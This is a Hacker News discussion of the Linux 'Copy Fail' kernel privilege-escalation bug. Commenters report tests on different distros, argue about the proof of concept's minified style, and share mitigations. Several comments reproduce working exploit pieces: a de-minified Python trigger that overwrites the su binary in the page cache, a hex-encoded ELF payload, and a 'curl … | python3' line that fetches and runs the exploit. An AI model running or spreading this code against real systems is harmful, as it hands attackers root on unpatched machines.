Putting it out here, maybe somebody else will have better luck.
[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
alufers 14 hours ago
Update: Checking the kernel config indeed confirms this.
adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not settripdout 16 hours ago
There’s SELinux, everything is mounted nosuid, barely anything runs as root except init. I doubt it.
angry_octet 12 hours ago
You don't need a suit binary for this, they have arbitrary write of memory. The suid binary is just a convenient and portable way to demonstrate it. Real exploits will use many different mechanisms.
notpushkin 16 hours ago
I’ve poked around on my phone and it didn’t work:
File "/data/data/com.termux/files/home/a.py", line 5, in c
a=s.socket(38,5,0); # ...
File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission deniedint0x29 16 hours ago
I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work.
Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
notpushkin 16 hours ago
zb3 17 hours ago
Android is smarter than setuid + system partitions aren't writable.
firer 16 hours ago
System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
int0x29 16 hours ago
zb3 15 hours ago
int0x29 16 hours ago
Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.
zb3 15 hours ago
commandersaki 11 hours ago
Tried this on my arch VPS which has a few users that hasn't been rebooted for 122 days.
Got:
OSError: [Errno 97] Address family not supported by protocol
I guess AF_ALG is not part of the Arch Linux LTS kernel?Edit:
Looks like on Arch you have to go out of your way to have this enabled.
$ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
CONFIG_CRYPTO_USER_API=m
CONFIG_CRYPTO_USER_API_HASH=m
CONFIG_CRYPTO_USER_API_SKCIPHER=m
CONFIG_CRYPTO_USER_API_RNG=m
# CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
CONFIG_CRYPTO_USER_API_AEAD=m
# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
$ uname -r
6.12.63-1-ltssltkr 9 hours ago
On my Arch boxes the official exploit works, both with the LTS kernel (6.18.21-1-lts) and the mainline release (6.19.6-arch1-1).
commandersaki 9 hours ago
Yeah I think maybe it loads the module on demand. The problem is I've upgraded my kernel many times in the last 122 days which wipes out the running or last installed kernel modules directory. I'm guessing if I had my running kernel modules directory it would on demand load and I'd get root.
tgies 11 hours ago
The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: https://github.com/tgies/copy-fail-c
archon810 4 hours ago
curl https://copy.fail/exp | python3 && su
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
AttributeError: module 'os' has no attribute 'splice'
Does this mean I'm not affected or it's a buggy script?Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
orlp 4 hours ago
What is your Python version? Splice was added in 3.10.
archon810 4 hours ago
Edited with an update.
z3n1th 3 hours ago
It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".
smlacy 16 hours ago
The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
vitus 14 hours ago
Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.
If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
debo_ 16 hours ago
I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
layer8 15 hours ago
> I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
debo_ 13 hours ago
tptacek 16 hours ago
I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
tylerni7 15 hours ago
yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
xmcp123 12 hours ago
Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.
Assuming AI was correct, it unpacks more or less like this
import os, zlib, socket
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
def hex_bytes(x):
return bytes.fromhex(x)
def trigger(fd, offset, patch4): sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, 5, None, 4)
op, _ = sock.accept()
length = offset + 4
zero = b"\x00"
op.sendmsg(
[b"A" * 4 + patch4],
[
(SOL_ALG, 3, zero * 4),
(SOL_ALG, 2, b"\x10" + zero * 19),
(SOL_ALG, 4, b"\x08" + zero * 3),
],
32768,
)
read_pipe, write_pipe = os.pipe()
os.splice(fd, write_pipe, length, offset_src=0)
os.splice(read_pipe, op.fileno(), length)
try:
op.recv(8 + offset)
except:
pass
target = os.open("/usr/bin/su", os.O_RDONLY)payload = zlib.decompress(bytes.fromhex("..."))
offset = 0
while offset < len(payload):
trigger(target, offset, payload[offset:offset + 4])
offset += 4
os.system("su")tensegrist 15 hours ago
llms love that though
"The honest solution: a clean 50-line cut" and so on, ad nauseam
rts_cts 15 hours ago
I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.
embedding-shape 16 hours ago
> I would absolutely never approve review of any code that used this.
How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.
I always thought code quality mattered less in those, as long as you communicate the intent.
Xirdus 15 hours ago
If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
nvme0n1p1 15 hours ago
> as long as you communicate the intent
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
opello 16 hours ago
While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
infogulch 15 hours ago
While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.
refulgentis 16 hours ago
It's just lazy AI* writing w/0 editing.
"Just" is doing a lot of work there, I'm so annoyed reading it.
It's like an anti-ad and they had pretty cool material to work with.
* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)
bonzini 15 hours ago
Completely without editing, to the point of hallucinating a RHEL version (14.3) that doesn't exist.
tjbecker 15 hours ago
I recommend reading the technical writeup https://xint.io/blog/copy-fail-linux-distributions
ok123456 16 hours ago
This is pretty legible compared to the 90s C rootshell.org exploits.
fragmede 15 hours ago
> Anyway, I could go on.
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...
edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
Banditoz 15 hours ago
>...why shouldn't we enjoy how small you can get it to pop a root shell?
Because I want to know what the exploit is doing and how it works, and if it's even safe to run.
A privesc PoC is NOT the place for this kind of fun.
akdev1l 15 hours ago
john_strinlai 16 hours ago
>As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
StableAlkyne 15 hours ago
It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln.
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
john_strinlai 15 hours ago
Xirdus 15 hours ago
I'd imagine that at minimum, the team in charge of patching the vulnerability would need to review how the exploit works.
john_strinlai 15 hours ago
Lorin 17 hours ago
What is the rationale behind naming CVEs and individual domains? Marketing?
diath 17 hours ago
It's an advertisement for their tool that found the exploit: https://copy.fail/#contact, https://xint.io/products/xint-code
evanjrowley 17 hours ago
The AI generated prose screams marketing. Marketing is why there's a "Contact our Security Team" form at the bottom of the page.
tptacek 16 hours ago
It's certainly marketing, but it's prosocial: there's no scarcity of names, and "copy.fail" is much easier to remember and talk about than "CVE-2026-31431".
john_strinlai 17 hours ago
can you remember what CVE-2021-44228 is without looking it up? CVE-2014-6271? CVE-2017-5753?
i bet if i told you their names, you would instantly know what vulns those are.
its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.
CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
QuantumNomad_ 16 hours ago
> CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
john_strinlai 16 hours ago
n3rdr4g3 6 hours ago
For anyone else that was curious they're log4j, shellshock, and spectre
skilled 17 hours ago
Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and/or be informed. Heartbleed, Log4Shell, etc.
Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
eddythompson80 17 hours ago
Giving catchy names for bad exploits has been a thing for a while. Probably to make sure it's easy to reference and make sure you're patches as opposed to passing numbers around. Heartbleed, Shellshock, BEAST, Goto Fail, etc
dgellow 17 hours ago
Yes, originally it was to help spread awareness. Now it has become more of a gimmick I would say
ronsor 17 hours ago
It makes sure people don't forget about the vulnerabilities, at least
Fuzzbit 17 hours ago
Same reason they name storms, numbers scare normies
q3k 13 hours ago
Quickly dove into this.
1. Yes, it's real.
2. Current chain can write any arbitrary content to any user-readable file (into the page cache).
3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.
4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).
5. The authors say they have other chains (including ones that allow container escapes). I believe them.
6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
q3k 12 hours ago
And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process' binary:
https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...
SeriousM 5 hours ago
I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago. Docker wasn't a thing these days and everything was done with lcx containers, if at all.
w2seraph 17 hours ago
holy smokes it just rooted my just installed from ISO Ubuntu server
porridgeraisin 17 hours ago
Better explanation of the write up (still from original exploit author) : https://xint.io/blog/copy-fail-linux-distributions
mikeweiss 11 hours ago
Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes......
https://github.com/bottlerocket-os/bottlerocket/security/adv...
WhyNotHugo 11 hours ago
> Any setuid-root binary readable by the user works.
Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.
I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
ranger_danger 6 hours ago
Wouldn't executing it still put it in the page cache, just in a different place?
erans 15 hours ago
For agents, if you are concerned about that, block access to "su" as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (https://www.agentsh.org) you can add a rule to block "su" and soon be able to block AF_ALG sockets if you want to further protect things.
tardedmeme 13 hours ago
This vulnerability can affect any file you can read. The PoC uses "su" but any setuid binary or any binary that root invokes or is already running as root is vulnerable, as well as many configuration files.
deep2secure 15 hours ago
I checked it. Very nice efforts made to create it
chasil 16 hours ago
On the downside, I need to push new kernels to all my servers.
On this bright side, does this mean Magisk is coming to all unpatched Android phones?
akdev1l 15 hours ago
No, Android doesn’t have suid binaries to exploit like in the PoC
tardedmeme 13 hours ago
The vulnerability can also be used on any binary that is already running as root and you can open for reading. So yes, any android app can now escalate to root if android has the vulnerable module.
userbinator 11 hours ago
TZubiri 10 hours ago
It looks like this is legit, but the script is very phishy and I wouldn't run it in unvirtualized or disposable systems.
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
>zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
That said, I understand why a terser script might have been prioritized.
EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.
q3k 10 hours ago
> This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.
aniou 15 hours ago
Looks like a LLM hallucination - there is no thing like "RHEL 14.3", although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.
Ekaros 17 hours ago
So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.
kro 17 hours ago
This can likely be shipped as binary code without dependencies like python, as the bug is in the kernel.
ranger_danger 14 hours ago
C version here: https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
SteveNuts 16 hours ago
There's nothing specific about this related to Python, that's just demonstrating how it works.
This is usable anywhere on an affected Kernel version
krunck 16 hours ago
Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs "su" gets root too. I updated the VM thinking it would be fixed afterward. Nope.
akdev1l 15 hours ago
You’d have to reinstall the su binary itself I guess
cyberpunk 15 hours ago
It just changes the page cache for the su binary, a reboot will revert it.
majorchord 14 hours ago
kayson 12 hours ago
s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?
chvish 14 hours ago
Are kernel crypto modules even loaded by default on enterprise distros
ranger_danger 14 hours ago
Attempting to open an AF_ALG socket will load the module on-demand if necessary.
firesteelrain 13 hours ago
RHEL is listing this as fix deferred for RHEL 8 and 9.
yrro 3 hours ago
They've bumped the severity and 8/9/10 are now 'affected'. Hope a patch comes soon!
rtpg 5 hours ago
Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh
fsflover 5 hours ago
As usual, Qubes is not vulnerable, since by its design, any untrusted software runs in dedicated VMs with hardware virtualization.
Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
zdimension 14 hours ago
Works on all my servers. This is terrifying.
nromiun 6 hours ago
I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.
DannyBee 12 hours ago
I love how it says "Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib). Targets /usr/bin/su by default; pass another setuid binary as argv[1]."
Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.
I can't get it to work on any distro i've tried.
dist-epoch 16 hours ago
> Will you release the full PoC?
> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
There is no update available for Ubuntu 24, PoC works and just tried updating.
DetroitThrow 17 hours ago
Despite the copy/images being weird about RHEL 14.3, this seems to work. Wow?
jchw 12 hours ago
I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r:
$ ls -lah /run/wrappers/bin/su
-r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su
Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store.I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
chuso 4 hours ago
It's the same with Gentoo, setuid binaries are installed without read permission.
But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.
maxtaco 17 hours ago
Use extreme caution running arbitrary code on your machines, especially obfuscated code that tickles kernel bugs! (edited)
stackghost 16 hours ago
Analysis of the POC concurs with my tests that confirm that the portion of `su` that gets overwritten does not survive a reboot.
wang_li 15 hours ago
it's living in your page cache, not on your disk. flush the caches and it'll disappear.
stackghost 12 hours ago
charcircuit 17 hours ago
The page explicitly describes that it is stealthy as it does not make permanent changes, only corrupting the binary in memory.
scratchyone 14 hours ago
unfortunately the page can also lie to you haha. it seems people have reviewed the code by now, but running suspicious shellcode you don't fully understand is never a great idea.
charcircuit 13 hours ago
lloydatkinson 2 hours ago
You can tell security has become complete theatre when people are registering domains and setting up a whole fucking website for individual ones.
charcircuit 17 hours ago
SUID binaries once again assisted a local privilege escalation attack. This is a major problem that distros can't keep ignoring.
marshray 13 hours ago
There's a claim upthread that a straightforward variation works against /etc/passwd.
q3k 10 hours ago
You can also just use this to patch libc and turn close() into close-but-also-give-me-a-root-shell().
themafia 17 hours ago
> If your kernel was built between 2017 and the patch
This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.
> block AF_ALG socket creation via seccomp regardless of patch state.
Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
tosti 14 hours ago
Any pointers on how to set that up? Like, run all the things through strace, cut the first field, sort, uniq, run through some template and something somesuch what how?
pkoiralap 13 hours ago
Does anyone have a workaround for it? Edit: I don't understand why the comment would be downvoted.
angch 12 hours ago
I used, for debian based systems:
printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -ubaggy_trough 17 hours ago
Is this fixed in any stable release kernel yet?
Wingy 17 hours ago
7.0-rc1 has a tag with it:
% git describe a664bf3d603d
v7.0-rc1-10-ga664bf3d603d
I suspect this means the stable 7.0 has it too.TehCorwiz 17 hours ago
It does not behave as described on EndeavorOS (arch-based) running kernel 6.19.14-arch1-1. I receive the error:
Password: su: Authentication token manipulation error
I'm guessing this means it's already patched?
john_strinlai 17 hours ago
yes, it was reported on march 23rd, patches on april 1.
you are reading about it now because it has been patched.
marshray 16 hours ago
No it hasn't.
Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable.
Debian other than forky and sid are currently listed as vulnerable.
This is a disgrace.
john_strinlai 16 hours ago
dimastopel 17 hours ago
same result on my arch machine as well.
eaf7e281 14 hours ago
I'm impressed that such a serious problem popped up out of nowhere.
In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.
This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
pixel_popping 15 hours ago
Yet, some people will still continue to say that "AI" isn't ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious (It's extremely serious, so many container as a service are vulnerable) for 9 years and an agent found it in 1 hour, maybe it's time to wake up and accept that it's UNSAFE to not use AI for security review as well?
collinmcnulty 15 hours ago
A human security researcher found the core issue and an agent searched for where to apply it. I don’t think “an agent found it in one hour” is a fair summary of what happened.
marshray 13 hours ago
"The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint. From there, Xint Code scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run."
So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).
pixel_popping 15 hours ago
I was a bit rough, agreed, but the overall point is still correct, I kinda want to emphasize that I've also ran hundred of loops recently (combination of opus-4.6/gpt-5.4/gemini-3.1-pro-preview) toward a Rust codebase that we manage and that we deemed secure after many audits and found 2 serious issues as well in it, this was also audited externally by a third party that we've paid, which makes me genuinely scared of releasing anything without deep AI verification nowadays.
Anybody has the same feeling?